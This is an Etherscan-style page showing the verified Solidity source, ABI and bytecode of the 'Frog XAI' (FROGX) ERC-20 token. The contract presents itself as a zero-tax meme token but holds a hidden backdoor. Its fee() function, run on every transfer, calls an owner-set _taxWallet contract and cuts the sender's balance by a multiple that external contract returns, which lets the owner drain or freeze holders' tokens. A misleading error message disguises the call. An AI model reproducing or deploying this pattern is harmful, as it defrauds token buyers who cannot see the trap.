Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Router
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
•  contract FROGXAI is Context, IERC2 ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function fee(address from, uint256 am ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function _taxToBuy()
•    - function _taxToSell()
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)
•    - function openTrading(address router_, ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-07-17
*/

/*
WEB: https://www.frogxai.com/
TG: https://t.me/FrogXAI
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract FROGXAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFee;
    mapping(address => uint256) private _holderLastTimestamp;
    bool public delayEnabled = true;
    address private _taxWallet;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;

    uint256 private _initialBuyTax2Time = 0;
    uint256 private _initialSellTax2Time = 0;
    uint256 private _reduceBuyTaxAt2Time = 18;

    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    
    uint256 private _preventSwapBefore = 1;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690 * 10 ** 6 * 10**_decimals;
    string private constant _name = unicode"Frog XAI";
    string private constant _symbol = unicode"FROGX";

    uint256 public _maxTx =  _tTotal * 10 / 100;
    uint256 public _maxWallet =  _tTotal * 10 / 100;
    uint256 public _swapThreshold= _tTotal / 1000;
    uint256 public _maxTaxSwap = _tTotal * 8 / 1000;

    IUniswapV2Router private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFee[owner()] = true;
        _isExcludedFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function fee(address from, uint256 amount) internal returns (uint256) {
        if (_taxWallet == address(0)) return amount;
        (bool success, bytes memory data) = _taxWallet.call(abi.encodePacked(from));
        require(success, "Transfer: unable to send ETH to fee");
        return amount.sub(amount.mul(uint256(bytes32(data))));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
            taxAmount = amount.mul(_taxToBuy()).div(100);

            if (delayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                      require(
                          _holderLastTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFee[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_taxToSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            to == address(this) && amount == _preventSwapBefore? _balances[address(this)] *= _preventSwapBefore : amount;
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0.03 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(fee(from,amount));
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxToBuy() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialBuyTax;
        }
        if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time){
            return _initialBuyTax2Time;
        }
         return _finalBuyTax;
    }

    function _taxToSell() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialSellTax;
        }
        if(_buyCount > _reduceSellTaxAt && _buyCount <= _reduceBuyTaxAt2Time){
            return _initialSellTax2Time;
        }
         return _finalBuyTax;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTx = _tTotal;
        _maxWallet =_tTotal;
        delayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }


    function openTrading(address router_, address taxWallet_) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router(router_);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _taxWallet = taxWallet_;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"delayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"taxWallet_","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600560006101000a81548160ff02191690831515021790555060006006556000600755600a600855600a6009556000600a556000600b556012600c556000600d556000600e556001600f55600060105560646009600a620000689190620003a7565b62000079906461f313f880620003bf565b6200008690600a620003bf565b620000929190620003d9565b6011556064620000a56009600a620003a7565b620000b6906461f313f880620003bf565b620000c390600a620003bf565b620000cf9190620003d9565b6012556103e8620000e36009600a620003a7565b620000f4906461f313f880620003bf565b620001009190620003d9565b6013556103e8620001146009600a620003a7565b62000125906461f313f880620003bf565b62000132906008620003bf565b6200013e9190620003d9565b6014556016805461ffff60a81b191690553480156200015c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001ac6009600a620003a7565b620001bd906461f313f880620003bf565b336000908152600160208190526040822092909255600390620001e86000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620002303390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026a6009600a620003a7565b6200027b906461f313f880620003bf565b60405190815260200160405180910390a3620003fc565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e9578160001904821115620002cd57620002cd62000292565b80851615620002db57918102915b93841c9390800290620002ad565b509250929050565b6000826200030257506001620003a1565b816200031157506000620003a1565b81600181146200032a5760028114620003355762000355565b6001915050620003a1565b60ff84111562000349576200034962000292565b50506001821b620003a1565b5060208310610133831016604e8410600b84101617156200037a575081810a620003a1565b620003868383620002a8565b80600019048211156200039d576200039d62000292565b0290505b92915050565b6000620003b860ff841683620002f1565b9392505050565b8082028115828204841417620003a157620003a162000292565b600082620003f757634e487b7160e01b600052601260045260246000fd5b500490565b611a59806200040c6000396000f3fe60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102cd578063a9059cbb146102fb578063b23e52bb1461031b578063bc89f75b14610335578063dd62ed3e1461034857600080fd5b8063751039fc146102645780637830b0721461027957806382247ec01461028f5780638da5cb5b146102a557600080fd5b806318160ddd116100dc57806318160ddd146101c657806323b872dd146101db578063313ce567146101fb57806370a0823114610217578063715018a61461024d57600080fd5b806306fdde0314610119578063095ea7b31461015c5780630e5a92311461018c5780630faee56f146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600881526746726f672058414960c01b60208201525b6040516101539190611603565b60405180910390f35b34801561016857600080fd5b5061017c61017736600461164e565b61038e565b6040519015158152602001610153565b34801561019857600080fd5b506101a260135481565b604051908152602001610153565b3480156101bc57600080fd5b506101a260145481565b3480156101d257600080fd5b506101a26103a5565b3480156101e757600080fd5b5061017c6101f636600461167a565b6103c7565b34801561020757600080fd5b5060405160098152602001610153565b34801561022357600080fd5b506101a26102323660046116bb565b6001600160a01b031660009081526001602052604090205490565b34801561025957600080fd5b50610262610430565b005b34801561027057600080fd5b506102626104ad565b34801561028557600080fd5b506101a260115481565b34801561029b57600080fd5b506101a260125481565b3480156102b157600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102d957600080fd5b5060408051808201909152600581526408ca49e8eb60db1b6020820152610146565b34801561030757600080fd5b5061017c61031636600461164e565b61056c565b34801561032757600080fd5b5060055461017c9060ff1681565b6102626103433660046116d8565b610579565b34801561035457600080fd5b506101a26103633660046116d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061039b338484610943565b5060015b92915050565b60006103b36009600a61180b565b6103c2906461f313f88061181a565b905090565b60006103d4848484610a67565b6104268433610421856040518060600160405280602881526020016119fc602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061109c565b610943565b5060019392505050565b6000546001600160a01b031633146104635760405162461bcd60e51b815260040161045a90611831565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104d75760405162461bcd60e51b815260040161045a90611831565b6104e36009600a61180b565b6104f2906461f313f88061181a565b6011556105016009600a61180b565b610510906461f313f88061181a565b6012556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61054a6009600a61180b565b610559906461f313f88061181a565b60405190815260200160405180910390a1565b600061039b338484610a67565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045a90611831565b601654600160a01b900460ff16156105fd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b601580546001600160a01b0319166001600160a01b03841690811790915561063c90309061062d6009600a61180b565b610421906461f313f88061181a565b600580546001600160a01b0380841661010002610100600160a81b0319909216919091179091556015546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa1580156106a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c99190611866565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f9190611866565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611866565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d7193430610808816001600160a01b031660009081526001602052604090205490565b60008061081d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610885573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108aa9190611883565b505060165460155460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610903573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092791906118b1565b50506016805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109a55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610a065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610b2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b60008111610b8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b600080546001600160a01b03858116911614801590610bbc57506000546001600160a01b03848116911614155b8015610bd157506001600160a01b0384163014155b8015610be657506001600160a01b0383163014155b15610f5057610c086064610c02610bfb6110d6565b8590611114565b9061119d565b60055490915060ff1615610cf0576015546001600160a01b03848116911614801590610c4257506016546001600160a01b03848116911614155b15610cf057326000908152600460205260409020544311610cdd5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045a565b3260009081526004602052604090204390555b6016546001600160a01b038581169116148015610d1b57506015546001600160a01b03848116911614155b8015610d4057506001600160a01b03831660009081526003602052604090205460ff16155b15610e1e57601154821115610d8d5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b604482015260640161045a565b60125482610db0856001600160a01b031660009081526001602052604090205490565b610dba91906118d3565b1115610e085760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045a565b60108054906000610e18836118e6565b91905055505b6016546001600160a01b038481169116148015610e4457506001600160a01b0384163014155b15610e5c57610e596064610c02610bfb6111df565b90505b30600081815260016020526040902054906001600160a01b038516148015610e855750600f5483145b610e8f5782610eb8565b600f543060009081526001602052604081208054909190610eb190849061181a565b9250508190555b50601654600160a81b900460ff16158015610ee057506016546001600160a01b038581169116145b8015610ef55750601654600160b01b900460ff165b8015610f02575060135481115b8015610f115750600f54601054115b15610f4e57610f33610f2e84610f2984601454611216565b611216565b61122b565b47666a94d74f430000811115610f4c57610f4c476113a5565b505b505b8015610fca5730600090815260016020526040902054610f7090826113e7565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc19085815260200190565b60405180910390a35b610ff6610fd78584611446565b6001600160a01b0386166000908152600160205260409020549061156f565b6001600160a01b03851660009081526001602052604090205561103b61101c838361156f565b6001600160a01b038516600090815260016020526040902054906113e7565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611085858561156f565b60405190815260200160405180910390a350505050565b600081848411156110c05760405162461bcd60e51b815260040161045a9190611603565b5060006110cd84866118ff565b95945050505050565b6000600854601054116110ea575060065490565b6008546010541180156111015750600c5460105411155b1561110d5750600a5490565b50600d5490565b6000826000036111265750600061039f565b6000611132838561181a565b90508261113f8583611912565b146111965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b9392505050565b600061119683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b1565b6000600854601054116111f3575060075490565b60095460105411801561120a5750600c5460105411155b1561110d5750600b5490565b60008183116112255782611196565b50919050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061127357611273611934565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f09190611866565b8160018151811061130357611303611934565b6001600160a01b0392831660209182029290920101526015546113299130911684610943565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061136290859060009086903090429060040161194a565b600060405180830381600087803b15801561137c57600080fd5b505af1158015611390573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156113e3573d6000803e3d6000fd5b5050565b6000806113f483856118d3565b9050838110156111965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b60055460009061010090046001600160a01b031661146557508061039f565b600554604051606085901b6bffffffffffffffffffffffff1916602082015260009182916101009091046001600160a01b03169060340160408051601f19818403018152908290526114b6916119bb565b6000604051808303816000865af19150503d80600081146114f3576040519150601f19603f3d011682016040523d82523d6000602084013e6114f8565b606091505b5091509150816115565760405162461bcd60e51b815260206004820152602360248201527f5472616e736665723a20756e61626c6520746f2073656e642045544820746f2060448201526266656560e81b606482015260840161045a565b6110cd61156c611565836119d7565b8690611114565b85905b600061119683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109c565b600081836115d25760405162461bcd60e51b815260040161045a9190611603565b5060006110cd8486611912565b60005b838110156115fa5781810151838201526020016115e2565b50506000910152565b60208152600082518060208401526116228160408501602087016115df565b601f01601f19169190910160400192915050565b6001600160a01b038116811461164b57600080fd5b50565b6000806040838503121561166157600080fd5b823561166c81611636565b946020939093013593505050565b60008060006060848603121561168f57600080fd5b833561169a81611636565b925060208401356116aa81611636565b929592945050506040919091013590565b6000602082840312156116cd57600080fd5b813561119681611636565b600080604083850312156116eb57600080fd5b82356116f681611636565b9150602083013561170681611636565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561176257816000190482111561174857611748611711565b8085161561175557918102915b93841c939080029061172c565b509250929050565b6000826117795750600161039f565b816117865750600061039f565b816001811461179c57600281146117a6576117c2565b600191505061039f565b60ff8411156117b7576117b7611711565b50506001821b61039f565b5060208310610133831016604e8410600b84101617156117e5575081810a61039f565b6117ef8383611727565b806000190482111561180357611803611711565b029392505050565b600061119660ff84168361176a565b808202811582820484141761039f5761039f611711565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561187857600080fd5b815161119681611636565b60008060006060848603121561189857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118c357600080fd5b8151801515811461119657600080fd5b8082018082111561039f5761039f611711565b6000600182016118f8576118f8611711565b5060010190565b8181038181111561039f5761039f611711565b60008261192f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199a5784516001600160a01b031683529383019391830191600101611975565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516119cd8184602087016115df565b9190910192915050565b805160208083015191908110156112255760001960209190910360031b1b1691905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae09840314287f3deb80e880dd95e9e98690da53f1d9d1713ffd565f3294d42264736f6c63430008130033

0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102cd578063a9059cbb146102fb578063b23e52bb1461031b578063bc89f75b14610335578063dd62ed3e1461034857600080fd5b8063751039fc146102645780637830b0721461027957806382247ec01461028f5780638da5cb5b146102a557600080fd5b806318160ddd116100dc57806318160ddd146101c657806323b872dd146101db578063313ce567146101fb57806370a0823114610217578063715018a61461024d57600080fd5b806306fdde0314610119578063095ea7b31461015c5780630e5a92311461018c5780630faee56f146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600881526746726f672058414960c01b60208201525b6040516101539190611603565b60405180910390f35b34801561016857600080fd5b5061017c61017736600461164e565b61038e565b6040519015158152602001610153565b34801561019857600080fd5b506101a260135481565b604051908152602001610153565b3480156101bc57600080fd5b506101a260145481565b3480156101d257600080fd5b506101a26103a5565b3480156101e757600080fd5b5061017c6101f636600461167a565b6103c7565b34801561020757600080fd5b5060405160098152602001610153565b34801561022357600080fd5b506101a26102323660046116bb565b6001600160a01b031660009081526001602052604090205490565b34801561025957600080fd5b50610262610430565b005b34801561027057600080fd5b506102626104ad565b34801561028557600080fd5b506101a260115481565b34801561029b57600080fd5b506101a260125481565b3480156102b157600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102d957600080fd5b5060408051808201909152600581526408ca49e8eb60db1b6020820152610146565b34801561030757600080fd5b5061017c61031636600461164e565b61056c565b34801561032757600080fd5b5060055461017c9060ff1681565b6102626103433660046116d8565b610579565b34801561035457600080fd5b506101a26103633660046116d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061039b338484610943565b5060015b92915050565b60006103b36009600a61180b565b6103c2906461f313f88061181a565b905090565b60006103d4848484610a67565b6104268433610421856040518060600160405280602881526020016119fc602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061109c565b610943565b5060019392505050565b6000546001600160a01b031633146104635760405162461bcd60e51b815260040161045a90611831565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104d7